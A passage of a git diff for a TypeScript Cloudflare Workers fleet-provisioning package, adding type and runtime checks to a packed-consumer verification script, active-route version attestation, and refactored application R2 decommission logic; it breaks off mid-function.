+import type { FileSystemDatabaseExportStoreReceiptPrimitives } from '@proofoftech/fleet-control';
+// @ts-expect-error filesystem receipt overrides are package-private.
+import type { FileSystemDatabaseExportStoreReceiptPrimitiveOverrides } from '@proofoftech/fleet-control';
+// @ts-expect-error the filesystem publication seam is package-private.
+import { createFileSystemDatabaseExportStoreWithReceiptPrimitives } from '@proofoftech/fleet-control';
+// @ts-expect-error the R2 implementation remains a deep-only adapter.
+import { R2DatabaseExportStore } from '@proofoftech/fleet-control';
 import type { FleetDispatchEnv } from '@proofoftech/fleet-control/workers/dispatch';
 import {
   createEgressProxyFetch,
@@ -233,10 +444,244 @@ declare const database: FleetStateDatabase;
 declare const api: WorkersForPlatformsApi;
 declare const policy: DeploymentEgressPolicy;
 declare const coordinator: CloudflareApiRateCoordinator;
+export const emptyAuditPage: FleetAuditFindingsPage = { findings: [], done: true };
+// @ts-expect-error An unfinished page requires its continuation cursor.
+export const unfinishedAuditPage: FleetAuditFindingsPage = { findings: [], done: false };
+
+export function auditPageCursor(page: FleetAuditFindingsPage): number | undefined {
+  if (page.done) return page.nextAfterOrdinal;
+  const requiredCursor: number = page.nextAfterOrdinal;
+  return requiredCursor;
+}
+
 declare const deploymentSpec: DeploymentSpec;
+const inspectedIngress: Readonly<{ name: string; content: string }> =
+  plainWorkerIngressModule(deploymentSpec);
+void inspectedIngress;
 declare const provisioningBackend: ProvisioningBackend;
+declare const backendSwitchProvider: BackendSwitchProvider;
 declare const fleetRecord: FleetRecord;
+declare const fleetStateStore: FleetStateStore;
+declare const decommissionIntent: DecommissionAdvanceIntent;
+declare const decommissionToken: DecommissionAdvanceToken;
+declare const decommissionClassification: DecommissionAdvanceTokenClassification;
+declare const decommissionProgress: DecommissionAttachmentProgress;
+declare const decommissionPurpose: DecommissionAttachmentPurpose;
+declare const decommissionEvidence: DecommissionAttachmentScanEvidence;
+declare const decommissionScanInput: DecommissionAttachmentScanInput;
+declare const decommissionAttachment: DecommissionBlockedAttachment;
+declare const decommissionCommon: DecommissionIntentCommon;
+declare const decommissionIdentity: DecommissionOperationIdentity;
+declare const decommissionMode: DecommissionOperationMode;
+declare const decommissionRecordIdentity: DecommissionRecordIdentity;
+declare const decommissionPhase: NormalDecommissionLifecyclePhase;
 declare const plainWorkerRouteApi: PlainWorkerRouteApi;
+declare const plainWorkerProvisioningApiShape: PlainWorkerProvisioningApi;
+declare const receiptFence: ExternalMutationFence;
+const databaseExportIntegrity: DatabaseExportIntegrity = {
+  size: 1,
+  sha256: 'a'.repeat(64),
+};
+const databaseExportReceiptIdentity: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: 'memory://fleet-exports/receipts/v1',
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
+const legacyExportStore: DurableDatabaseExportStore = {
+  async write() {
+    return { location: 'memory://legacy', ...databaseExportIntegrity };
+  },
+};
+const receiptExportStore: DurableDatabaseExportStore = {
+  ...legacyExportStore,
+  receiptAuthority: databaseExportReceiptIdentity.authority,
+  async writeReceipt() {
+    return { location: 'memory://receipt', ...databaseExportIntegrity };
+  },
+};
+const storeReceiptAuthority: string | undefined =
+  receiptExportStore.receiptAuthority;
+const storeReceiptWrite: DurableDatabaseExportStore['writeReceipt'] =
+  receiptExportStore.writeReceipt;
+const plainWorkerBackendOptions: PlainWorkerBackendOptions = {
+  api: plainWorkerProvisioningApiShape,
+  identityCaller: 'PackedConsumer.seedDeploymentIdentity',
+};
+const plainWorkerBackend: ProvisioningBackend = new PlainWorkerBackend(
+  plainWorkerBackendOptions,
+);
+const directClient = new CloudflareProvisioningClient({
+  accountId: 'account',
+  apiToken: 'token',
+  plane: 'plain-worker',
+  rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(),
+});
+const directBackendOptions: CloudflareApiPlainWorkerBackendOptions = {
+  client: directClient,
+};
+const directBackend: ProvisioningBackend =
+  new CloudflareApiPlainWorkerBackend(directBackendOptions);
+const directReceiptAuthority: string | undefined =
+  directClient.databaseExportReceiptAuthority;
+const directReceiptExport:
+  | ((identity: DatabaseExportReceiptIdentity) => Promise<DatabaseExport>)
+  | undefined = directClient.exportDatabaseReceipt;
+const plainReceiptAuthority: string | undefined =
+  plainWorkerProvisioningApiShape.databaseExportReceiptAuthority;
+const plainReceiptExport:
+  | ((
+      identity: DatabaseExportReceiptIdentity,
+      fence: ExternalMutationFence,
+    ) => Promise<PlainWorkerDatabaseExportResult>)
+  | undefined = plainWorkerProvisioningApiShape.exportDatabaseReceipt;
+const wfpReceiptAuthority: string | undefined =
+  api.databaseExportReceiptAuthority;
+const wfpReceiptExport:
+  | ((identity: DatabaseExportReceiptIdentity) => Promise<DatabaseExport>)
+  | undefined = api.exportDatabaseReceipt;
+const backendReceiptAuthority: string | undefined =
+  provisioningBackend.databaseExportReceiptAuthority;
+const backendReceiptExport:
+  | ((
+      identity: DatabaseExportReceiptIdentity,
+      fence: ExternalMutationFence,
+    ) => Promise<DatabaseExport>)
+  | undefined = provisioningBackend.exportDatabaseReceipt;
+const decommissionScanResults: readonly DecommissionAttachmentScanResult[] = [
+  {
+    status: 'pending',
+    progress: decommissionProgress,
+    providerFetchAttemptsReserved: 9,
+  },
+  {
+    status: 'attached',
+    attachment: decommissionAttachment,
+    providerFetchAttemptsReserved: 9,
+  },
+  {
+    status: 'complete',
+    evidenceSha256: decommissionEvidence.evidenceSha256,
+    evidenceCount: decommissionEvidence.evidenceCount,
+    providerFetchAttemptsReserved: 9,
+  },
+  { status: 'drift' },
+];
+const directDecommissionScan =
+  directClient.advanceDecommissionAttachmentScan(decommissionScanInput);
+const routeDecommissionScan =
+  plainWorkerRouteApi.advanceDecommissionAttachmentScan?.(
+    decommissionScanInput,
+  );
+const backendDecommissionScan =
+  provisioningBackend.advanceDecommissionAttachmentScan?.(
+    decommissionScanInput,
+  );
+const wfpDecommissionScan = api.advanceDecommissionAttachmentScan?.(
+  decommissionScanInput,
+);
+const databaseResidualAssertion =
+  provisioningBackend.assertDatabaseDeletionResidualsRemoved;
+const decommissionActions: readonly DecommissionAdvanceAction[] = [
+  { kind: 'start' },
+  { kind: 'continue', token: decommissionToken },
+  { kind: 'restart-blocked', token: decommissionToken },
+];
+const decommissionCapabilities: readonly DecommissionAdvanceCapability[] = [
+  'attachment-scan',
+  'database-residuals',
+  'application-r2-inspection',
+  'application-r2-empty',
+  'application-r2-delete',
+  'database-export-receipt',
+  'database-read',
+  'database-delete',
+  'pending-artifact-inspection',
+];
+const optionalReceiptAuthority: string | undefined =
+  decommissionCommon.databaseExportReceiptAuthority;
+if (decommissionIntent.state === 'complete') {
+  const requiredReceiptAuthority: string =
+    decommissionIntent.databaseExportReceiptAuthority;
+  void requiredReceiptAuthority;
+}
+const decommissionAdvanceOptions: AdvanceDecommissionDeploymentOptions = {
+  backend: provisioningBackend,
+  store: fleetStateStore,
+  spec: deploymentSpec,
+  action: decommissionActions[0]!,
+  maxProviderRequests: 12,
+  randomUUID: () => '00000000-0000-4000-8000-000000000001',
+};
+const backendSwitchAdvanceOptions: AdvanceBackendSwitchDecommissionOptions = {
+  store: fleetStateStore,
+  provider: backendSwitchProvider,
+  priorSpec: deploymentSpec,
+  targetSpec: deploymentSpec,
+  action: decommissionActions[0]!,
+  maxProviderRequests: 12,
+  randomUUID: () => '00000000-0000-4000-8000-000000000003',
+};
+const decommissionAdvanceResults: readonly DecommissionAdvanceResult[] = [
+  { status: 'pending', token: decommissionToken },
+  {
+    status: 'blocked',
+    token: decommissionToken,
+    purpose: decommissionPurpose,
+    attachment: decommissionAttachment,
+  },
+  {
+    status: 'complete',
+    token: decommissionToken,
+    result: {
+      record: fleetRecord,
+      databaseExport: {
+        databaseId: fleetRecord.databaseId,
+        location: 'r2://exports/database.sql',
+        sha256: 'a'.repeat(64),
+        size: 1,
+      },
+    },
+  },
+];
+const boundedDecommissionAdvance = advanceDecommissionDeployment(
+  decommissionAdvanceOptions,
+);
+const boundedBackendSwitchAdvance = advanceBackendSwitchDecommission(
+  backendSwitchAdvanceOptions,
+);
+const boundedBackendSwitchActions = decommissionActions.map((action) =>
+  advanceBackendSwitchDecommission({
+    ...backendSwitchAdvanceOptions,
+    action,
+  }),
+);
+const switchPendingArtifactCapture =
+  backendSwitchProvider.captureSwitchEntryPendingArtifact;
+const switchAttachmentScan =
+  backendSwitchProvider.advanceSwitchDecommissionAttachmentScan;
+const switchReceiptAuthority: string | undefined =
+  backendSwitchProvider.databaseExportReceiptAuthority;
+const switchReceiptExport = backendSwitchProvider.exportSwitchDatabaseReceipt;
+const switchDatabaseRead = backendSwitchProvider.getSwitchDatabase;
+const switchDatabaseOwnerRead = backendSwitchProvider.readSwitchDatabaseOwner;
+const switchDatabaseResiduals =
+  backendSwitchProvider.assertSwitchDatabaseDeletionResidualsRemoved;
+const switchDatabaseDelete = backendSwitchProvider.deleteSwitchDatabaseBounded;
+type PlainWorkerPortRecords = readonly [
+  PlainWorkerCleanupOutcome,
+  PlainWorkerDatabaseExportResult,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
+  PlainWorkerMutationOutcome,
+  PlainWorkerUploadIntent,
+  PlainWorkerUploadIntentBase,
+  PlainWorkerUploadOutcome,
+  PlainWorkerVersionBinding,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+];
+declare const plainWorkerPortRecords: PlainWorkerPortRecords;
 // The provisioning-time fence state a control plane has to choose. Named here
 // because it is a REQUIRED provisionDeployment option: a consumer that cannot
 // import its type cannot type its own provisioning wrapper.
@@ -270,6 +715,70 @@ type SettledSettlementKeyIsOptional = {} extends Pick<
 const settledSettlementKeyIsOptional: SettledSettlementKeyIsOptional = true;
 const settledSettlementKey: string | undefined =
   fleetRecord.settledSettlementKey;
+type DecommissionIntentIsOptional = {} extends Pick<
+  FleetRecord,
+  'decommissionIntent'
+>
+  ? true
+  : false;
+const decommissionIntentIsOptional: DecommissionIntentIsOptional = true;
+const storedDecommissionIntent: DecommissionAdvanceIntent | undefined =
+  fleetRecord.decommissionIntent;
+void [
+  decommissionIntent,
+  decommissionToken,
+  decommissionClassification,
+  decommissionProgress,
+  decommissionPurpose,
+  decommissionEvidence,
+  decommissionScanInput,
+  decommissionScanResults,
+  decommissionAttachment,
+  decommissionCommon,
+  decommissionIdentity,
+  decommissionMode,
+  decommissionRecordIdentity,
+  decommissionPhase,
+  decommissionIntentIsOptional,
+  storedDecommissionIntent,
+  directDecommissionScan,
+  routeDecommissionScan,
+  backendDecommissionScan,
+  wfpDecommissionScan,
+  databaseResidualAssertion,
+  decommissionActions,
+  decommissionCapabilities,
+  optionalReceiptAuthority,
+  decommissionAdvanceOptions,
+  decommissionAdvanceResults,
+  boundedDecommissionAdvance,
+  backendSwitchAdvanceOptions,
+  boundedBackendSwitchAdvance,
+  boundedBackendSwitchActions,
+  switchPendingArtifactCapture,
+  switchAttachmentScan,
+  switchReceiptAuthority,
+  switchReceiptExport,
+  switchDatabaseRead,
+  switchDatabaseOwnerRead,
+  switchDatabaseResiduals,
+  switchDatabaseDelete,
+  databaseExportIntegrity,
+  databaseExportReceiptIdentity,
+  legacyExportStore,
+  receiptExportStore,
+  storeReceiptAuthority,
+  storeReceiptWrite,
+  receiptFence,
+  directReceiptAuthority,
+  directReceiptExport,
+  plainReceiptAuthority,
+  plainReceiptExport,
+  wfpReceiptAuthority,
+  wfpReceiptExport,
+  backendReceiptAuthority,
+  backendReceiptExport,
+];
 const customDomain: PlainWorkerCustomDomain = {
   id: 'domain-id',
   hostname: 'acme.example.test',
@@ -295,9 +804,55 @@ const settlementHost: FleetSettlementHost = {
   },
 };
 
+declare const migrationOptions: AdvanceFleetMigrationOptions;
+declare const migrationResult: FleetMigrationAdvanceResult;
+const migrationAction: FleetMigrationAdvanceAction = {
+  kind: 'continue',
+  token: migrationResult.token,
+};
+const migrationAdvance: Promise<FleetMigrationAdvanceResult> =
+  advanceFleetMigration({ ...migrationOptions, action: migrationAction });
+const migrationCapability: FleetMigrationAdvanceCapability =
+  new FleetMigrationAdvanceCapabilityError().capability;
+const migrationStep: FleetMigrationStep = 'admit-migrating';
+const migrationPlan: readonly FleetMigrationPlanEntry[] = [
+  { step: migrationStep },
+];
+const migrationProgress: FleetMigrationProgress = {
+  kind: 'migration',
+  revision: 0,
+  itemCount: 0,
+  activeItemOrdinal: 0,
+  completedItemCount: 0,
+};
+const migrationPage: Promise<Readonly<{
+  items: readonly FleetMigrationItem[];
+  done: boolean;
+}>> = readFleetMigrationItemsPage(migrationOptions.operationStore, {
+  operationId: migrationResult.token.operationId,
+  limit: 1,
+});
+const migrationAbandon: Promise<void> = abandonFleetMigrationOperation({
+  operationStore: migrationOptions.operationStore,
+  operationId: migrationResult.token.operationId,
+});
+if (migrationResult.status === 'complete') {
+  const summary: FleetMigrationResultRef = migrationResult.result;
+  void summary;
+}
+void migrationAdvance;
+void migrationCapability;
+void migrationPlan;
+void migrationProgress;
+void migrationPage;
+void migrationAbandon;
+
 void ActiveRouteAttestationError;
+void CloudflareApiPlainWorkerBackend;
 void CloudflareProvisioningClient;
 void D1CloudflareApiRateCoordinator;
+void FileSystemDatabaseExportStore;
+void PlainWorkerBackend;
 void ProcessLocalCloudflareApiRateCoordinator;
 void ProvisioningError;
 void WorkersForPlatformsBackend;
@@ -326,6 +881,13 @@ void deploymentSpec;
 void provisioningBackend;
 void fleetRecord;
 void plainWorkerRouteApi;
+void plainWorkerProvisioningApiShape;
+void plainWorkerBackendOptions;
+void plainWorkerBackend;
+void directClient;
+void directBackendOptions;
+void directBackend;
+void plainWorkerPortRecords;
 void initialExecutionFenceState;
 void lockedAtBirth;
 void seedOptions;
@@ -346,18 +908,30 @@ void settlementHost;
     `import assert from 'node:assert/strict';
 import {
   ActiveRouteAttestationError,
+  CloudflareProvisioningClient,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
   ProcessLocalCloudflareApiRateCoordinator,
+  FileSystemDatabaseExportStore,
+  FleetMigrationAdvanceCapabilityError,
   ProvisioningError,
   WorkersForPlatformsBackend,
+  advanceBackendSwitchDecommission,
+  advanceDecommissionDeployment,
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  readFleetMigrationItemsPage,
   attestConvergedActiveRoute,
   attestFleetRecordActiveRoute,
   deploymentSpecDigest,
   fleetSettlementKey,
+  plainWorkerIngressModule,
 } from '@proofoftech/fleet-control';
 
-// Every export entry must load. The three Workers entries are default-export
-// module objects that no in-repo consumer imports across the package boundary,
-// so this is the only place a broken exports key surfaces before the registry.
 const [dispatch, outbound, auditConsumer] = await Promise.all([
   import('@proofoftech/fleet-control/workers/dispatch'),
   import('@proofoftech/fleet-control/workers/outbound'),
@@ -370,6 +944,25 @@ assert.equal(typeof outbound.StateEgress, 'function');
 assert.equal(typeof auditConsumer.default.queue, 'function');
 
 assert.equal(typeof deploymentSpecDigest, 'function');
+const inspectionSpec = {
+  tenantTag: 'packed', environment: 'test', scriptName: 'packed-inspection',
+  databaseName: 'packed-inspection', compatibilityDate: '2026-08-06',
+  authoredBy: 'platform', schemaVersion: 1,
+  migrations: [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }],
+  mainModule: 'worker.js',
+  modules: [{ name: 'worker.js', content: 'export class Maintenance {} export default {fetch(){return new Response()}};' }],
+  durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }],
+  durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }],
+  routeHostname: 'app.example.test', maintenanceBaseUrl: 'https://control.example.test',
+};
+const inspectedIngress = plainWorkerIngressModule(inspectionSpec);
+assert.equal(typeof inspectedIngress.name, 'string');
+assert.ok(inspectedIngress.content.length > 0);
+assert.notEqual(inspectedIngress.name, inspectionSpec.mainModule);
+assert.throws(
+  () => plainWorkerIngressModule({ ...inspectionSpec, modules: [...inspectionSpec.modules, inspectedIngress] }),
+  /reserve/,
+);
 assert.equal(typeof ProcessLocalCloudflareApiRateCoordinator, 'function');
 assert.ok(new ProvisioningError('probe') instanceof Error);
 assert.equal(typeof ActiveRouteAttestationError, 'function');
@@ -377,6 +970,147 @@ assert.ok(new ActiveRouteAttestationError('probe', {}) instanceof Error);
 assert.equal(typeof attestConvergedActiveRoute, 'function');
 assert.equal(typeof attestFleetRecordActiveRoute, 'function');
 assert.equal(typeof fleetSettlementKey, 'function');
+assert.equal(typeof advanceBackendSwitchDecommission, 'function');
+assert.equal(typeof advanceDecommissionDeployment, 'function');
+assert.equal(typeof advanceFleetMigration, 'function');
+assert.equal(typeof readFleetMigrationItemsPage, 'function');
+assert.equal(typeof abandonFleetMigrationOperation, 'function');
+const migrationCapability = new FleetMigrationAdvanceCapabilityError();
+assert.ok(migrationCapability instanceof Error);
+assert.equal(migrationCapability.name, 'FleetMigrationAdvanceCapabilityError');
+assert.equal(migrationCapability.capability, 'operation-store');
+assert.equal(
+  migrationCapability.message,
+  'fleet migration advance requires an operation store',
+);
+await assert.rejects(
+  advanceFleetMigration({ operationStore: {} }),
+  FleetMigrationAdvanceCapabilityError,
+);
+const rootExports = await import('@proofoftech/fleet-control');
+for (const internal of [
+  'admitFleetMigrationItem',
+  'revalidateFleetMigrationAdmission',
+  'assertFleetMigrationPlanCompatibility',
+  'assertMigratingCarrierState',
+  'executeNextMigrationStep',
+]) assert.equal(internal in rootExports, false);
+const missingCapability = new DecommissionAdvanceCapabilityError(
+  'attachment-scan',
+);
+assert.equal(missingCapability.name, 'DecommissionAdvanceCapabilityError');
+assert.equal(missingCapability.capability, 'attachment-scan');
+assert.equal(
+  missingCapability.message,
+  'backend cannot perform bounded decommission attachment scans',
+);
+const missingReceiptCapability = new DecommissionAdvanceCapabilityError(
+  'database-export-receipt',
+);
+assert.equal(
+  Object.getPrototypeOf(missingReceiptCapability),
+  DecommissionAdvanceCapabilityError.prototype,
+);
+assert.equal(
+  missingReceiptCapability.name,
+  'DecommissionAdvanceCapabilityError',
+);
+assert.equal(
+  missingReceiptCapability.capability,
+  'database-export-receipt',
+);
+assert.equal(
+  missingReceiptCapability.message,
+  'backend cannot write idempotent database export receipts',
+);
+for (const [capability, message] of [
+  [
+    'database-read',
+    'backend cannot read the database for bounded decommission',
+  ],
+  [
+    'database-delete',
+    'backend cannot delete the database for bounded decommission',
+  ],
+  [
+    'pending-artifact-inspection',
+    'backend cannot inspect pending ordinary Worker authority for bounded decommission',
+  ],
+]) {
+  const error = new DecommissionAdvanceCapabilityError(capability);
+  assert.equal(error.capability, capability);
+  assert.equal(error.message, message);
+}
+const restartError = new DecommissionAdvanceRestartError();
+assert.equal(restartError.name, 'DecommissionAdvanceRestartError');
+assert.equal(
+  restartError.message,
+  'decommission advance restart requires a current blocked operation',
+);
+for (const ErrorClass of [
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
+]) {
+  assert.ok(new ErrorClass() instanceof Error);
+}
+assert.equal(
+  typeof CloudflareProvisioningClient.prototype
+    .advanceDecommissionAttachmentScan,
+  'function',
+);
+assert.equal(
+  typeof CloudflareProvisioningClient.prototype
+    .existingDurableObjectNamespaceIds,
+  'function',
+);
+const legacyClient = new CloudflareProvisioningClient({
+  accountId: 'a',
+  apiToken: 't',
+  plane: 'plain-worker',
+  rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(),
+  exportStore: {
+    async write() {
+      return { location: 'memory://legacy', size: 1, sha256: 'a'.repeat(64) };
+    },
+  },
+});
+assert.equal('databaseExportReceiptAuthority' in legacyClient, false);
+assert.equal('exportDatabaseReceipt' in legacyClient, false);
+const fileStore = new FileSystemDatabaseExportStore('/tmp/fleet-control-packed-receipts');
+if (process.platform !== 'win32') {
+  assert.equal(typeof fileStore.receiptAuthority, 'string');
+  assert.equal(typeof fileStore.writeReceipt, 'function');
+}
+assert.throws(
+  () =>
+    new CloudflareProvisioningClient({
+      accountId: 'a',
+      apiToken: 't',
+      plane: 'plain-worker',
+      dispatchNamespace: 'x',
+      rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(),
+    }),
+  /plain-worker plane cannot name a dispatch namespace/,
+);
+assert.throws(
+  () =>
+    new CloudflareProvisioningClient({
+      accountId: 'a',
+      apiToken: 't',
+      rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(),
+    }),
+  /dispatchNamespace/,
+);
+assert.ok(
+  new CloudflareProvisioningClient({
+    accountId: 'a',
+    apiToken: 't',
+    plane: 'plain-worker',
+    rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(),
+  }),
+);
 
 // The trusted-configuration constructor must fail closed. This is the barrier
 // that makes a published fleet-control inert without control-plane inputs, so
@@ -427,19 +1161,11 @@ assert.ok(new WorkersForPlatformsBackend(complete));
   // metadata mirror, so --offline fails there with ERR_PNPM_NO_OFFLINE_META
   // while passing on a developer machine whose mirror is warm.
   //
-  // Resolution is still pinned: cloudflare and p-queue come from the packed
-  // manifest as exact versions and flowsafe is overridden to the workspace
-  // tree, so nothing floats. The age-gate flag matches the sibling gates.
-  run(
-    'pnpm',
-    [
-      'install',
-      '--prefer-offline',
-      '--ignore-scripts',
-      '--config.minimum-release-age=0',
-    ],
-    { cwd: consumerDirectory },
-  );
+  // Resolution is pinned and the standalone workspace enforces the same
+  // seven-day quarantine as the repository. Lifecycle scripts stay disabled.
+  run('pnpm', ['install', '--prefer-offline', '--ignore-scripts'], {
+    cwd: consumerDirectory,
+  });
   // Prove the override actually took. Without this, deleting the overrides
   // block above leaves this gate green while the consumer resolves the
   // previously published flowsafe instead of the one being released with it.
@@ -477,9 +1203,24 @@ assert.ok(new WorkersForPlatformsBackend(complete));
     cwd: consumerDirectory,
   });
   run(process.execPath, ['runtime.mjs'], { cwd: consumerDirectory });
+  await verifyControlPlanePackedSurface({ consumerDirectory, packageRoot });
+  run(process.execPath, [
+    '--test',
+    join(packageRoot, 'scripts/control-plane-packed-surface.test.mjs'),
+    join(packageRoot, 'scripts/control-plane-packed-bundle.test.mjs'),
+  ]);
+  await verifyControlPlanePackedBundle({ consumerDirectory, packageRoot });
+  await verifyControlPlanePackedRuntime({ consumerDirectory, packageRoot });
+  await verifyControlPlanePackedWorkload({ consumerDirectory, packageRoot });
+  await verifyDirectArtifactsPacked({ consumerDirectory, packageRoot });
+  assert.deepEqual(
+    await readFile(join(workspaceRoot, 'pnpm-lock.yaml')),
+    lockfileBefore,
+    'packed consumer verification must preserve the workspace resolution',
+  );
 
   process.stdout.write(
-    'fleet-control packed consumer: manifest, all four export entries, types, and the fail-closed constructor passed\n',
+    'fleet-control packed consumer: package exports, strict Worker types, bundle checks and Worker runtime probes passed\n',
   );
 } finally {
   await rm(temporaryRoot, { recursive: true, force: true });
diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json
new file mode 100644
index 00000000..ea926c78
--- /dev/null
+++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json
@@ -0,0 +1,22 @@
+{
+  "extends": "../../../tsconfig.base.json",
+  "compilerOptions": {
+    "noEmit": true,
+    "types": ["@cloudflare/workers-types", "node"],
+    "customConditions": ["workerd", "worker", "browser"]
+  },
+  "files": [
+    "direct-credentialed-tenant.ts",
+    "direct-credentialed-spec.ts",
+    "direct-reference-journal.ts",
+    "direct-reference-http.ts",
+    "direct-reference-transport.ts",
+    "direct-reference-context.ts",
+    "direct-reference-observations.ts",
+    "direct-reference-lifecycle.ts",
+    "direct-reference-fence.ts",
+    "direct-reference-r4.ts",
+    "direct-reference-worker.ts"
+  ],
+  "include": []
+}
diff --git a/packages/fleet-control/src/active-route.ts b/packages/fleet-control/src/active-route.ts
index 50ca426a..ec71441b 100644
--- a/packages/fleet-control/src/active-route.ts
+++ b/packages/fleet-control/src/active-route.ts
@@ -65,6 +65,93 @@ export class ActiveRouteAttestationError extends Error {
   }
 }
 
+export type ProviderDeployment =
+  | Readonly<{
+      versions?: readonly Readonly<{
+        percentage?: unknown;
+        version_id?: unknown;
+      }>[];
+    }>
+  | undefined;
+
+export function exactActiveVersionId(
+  deployment: ProviderDeployment,
+  context: string,
+): string {
+  if (!deployment || !Array.isArray(deployment.versions)) {
+    throw new Error(`${context} has no current deployment`);
+  }
+  for (const version of deployment.versions) {
+    if (
+      typeof version.percentage !== 'number' ||
+      !Number.isFinite(version.percentage) ||
+      version.percentage < 0 ||
+      version.percentage > 100 ||
+      typeof version.version_id !== 'string' ||
+      version.version_id.length === 0
+    ) {
+      throw new Error(`${context} has malformed version traffic metadata`);
+    }
+  }
+  const onlyVersion = deployment.versions[0];
+  if (
+    deployment.versions.length !== 1 ||
+    onlyVersion?.percentage !== 100 ||
+    typeof onlyVersion.version_id !== 'string'
+  ) {
+    throw new Error(
+      `${context} must have exactly one current version receiving 100% of traffic`,
+    );
+  }
+  return onlyVersion.version_id;
+}
+
+/**
+ * The traffic split as the provider reported it, for a refusal to carry. Only
+ * well-formed entries survive: a malformed one is exactly what
+ * `exactActiveVersionId` already refused over, and inventing a shape for it
+ * would put a fabricated percentage into an operator-facing error.
+ */
+function observedTrafficSplit(
+  deployment: ProviderDeployment,
+): readonly Readonly<{ artifactVersion: string; percentage: number }>[] {
+  return (deployment?.versions ?? []).flatMap((version) =>
+    typeof version.version_id === 'string' &&
+    typeof version.percentage === 'number' &&
+    Number.isFinite(version.percentage)
+      ? [
+          {
+            artifactVersion: version.version_id,
+            percentage: version.percentage,
+          },
+        ]
+      : [],
+  );
+}
+
+/**
+ * `exactActiveVersionId` with its refusal restated as an attestation refusal
+ * carrying the split. The rule is unchanged and deliberately not relaxed: one
+ * version at 100% or nothing, never the version with the largest share.
+ */
+export function attestedActiveVersionId(
+  deployment: ProviderDeployment,
+  scriptName: string,
+): string {
+  try {
+    return exactActiveVersionId(deployment, `ordinary Worker '${scriptName}'`);
+  } catch (cause) {
+    throw new ActiveRouteAttestationError(
+      cause instanceof Error ? cause.message : String(cause),
+      {
+        routedScriptName: scriptName,
+        trafficSplit: observedTrafficSplit(deployment),
+      },
+      { cause },
+    );
+  }
+}
+
 /** The release identity a caller believes should be serving traffic. */
 export interface ActiveRouteExpectation {
   readonly specDigest: string;
diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts
index 02cd3e8e..0179f573 100644
--- a/packages/fleet-control/src/application-bindings.ts
+++ b/packages/fleet-control/src/application-bindings.ts
@@ -26,6 +26,13 @@ export const DEPLOYMENT_PLATFORM_VARIABLE_NAMES = Object.freeze([
   'FLEET_SPEC_DIGEST',
 ]);
 
+export const PLATFORM_CATALOG_VARIABLE_NAMES = Object.freeze([
+  ...DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
+  'FLEET_DEPLOYMENT_SCRIPT',
+  'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY',
+  'FLEET_RESOURCE_ROLE',
+]);
+
 export const LEGACY_BRIDGE_PLATFORM_VARIABLE_NAMES = Object.freeze([
   'DEPLOYMENT_TENANT',
   'FLEET_ARTIFACT_DIGEST',
@@ -399,14 +406,31 @@ export async function assertApplicationR2EmptyBeforeDecommission(options: {
   readonly fence: import('./types.js').ExternalMutationFence;
 }): Promise<void> {
   if (options.resources.length === 0) return;
+  const findApplicationR2BucketCandidate =
+    options.backend.findApplicationR2Bucket;
+  if (typeof findApplicationR2BucketCandidate !== 'function') {
+    throw new Error('backend cannot preflight application R2 evacuation');
+  }
+  const findApplicationR2Bucket = findApplicationR2BucketCandidate.bind(
+    options.backend,
+  );
+  const needsEmptyAttestation = options.resources.some(
+    (resource) => resource.state !== 'reserved' && resource.state !== 'deleted',
+  );
+  const assertApplicationR2EmptyCandidate = needsEmptyAttestation
+    ? options.backend.assertApplicationR2Empty
+    : undefined;
   if (
-    !options.backend.findApplicationR2Bucket ||
-    !options.backend.assertApplicationR2Empty
+    needsEmptyAttestation &&
+    typeof assertApplicationR2EmptyCandidate !== 'function'
   ) {
     throw new Error('backend cannot preflight application R2 evacuation');
   }
+  const assertApplicationR2Empty = assertApplicationR2EmptyCandidate?.bind(
+    options.backend,
+  );
   for (const resource of options.resources) {
-    const live = await options.backend.findApplicationR2Bucket(resource);
+    const live = await findApplicationR2Bucket(resource);
     if (resource.state === 'reserved') {
       if (live) {
         throw new Error(
@@ -430,140 +454,458 @@ export async function assertApplicationR2EmptyBeforeDecommission(options: {
     }
     assertLiveR2Identity(resource, live);
     await options.fence.assertOwned();
-    await options.backend.assertApplicationR2Empty(resource, options.fence);
+    await assertApplicationR2Empty?.(resource, options.fence);
   }
 }
 
-export async function convergeApplicationR2Deletion(options: {
+/** @internal Package-private result for one application-R2 deletion step. */
+export type ApplicationR2DeletionAdvance =
+  | Readonly<{
+      status: 'complete';
+      resources: readonly ApplicationR2Resource[];
+    }>
+  | Readonly<{
+      status: 'detachment-required';
+      resourceIndex: number;
+      resource: ApplicationR2Resource & {
+        readonly state: 'detach-authorized';
+        readonly creationDate: string;
+      };
+      resources: readonly ApplicationR2Resource[];
+    }>
+  | Readonly<{
+      status: 'resource-advanced';
+      resourceIndex: number;
+      resources: readonly ApplicationR2Resource[];
+    }>;
+
+function replaceApplicationR2Resource(
+  resources: readonly ApplicationR2Resource[],
+  index: number,
+  resource: ApplicationR2Resource,
+): readonly ApplicationR2Resource[] {
+  return resources.map((current, currentIndex) =>
+    currentIndex === index ? resource : current,
+  );
+}
+
+function invalidApplicationR2DeletionStart(): Error {
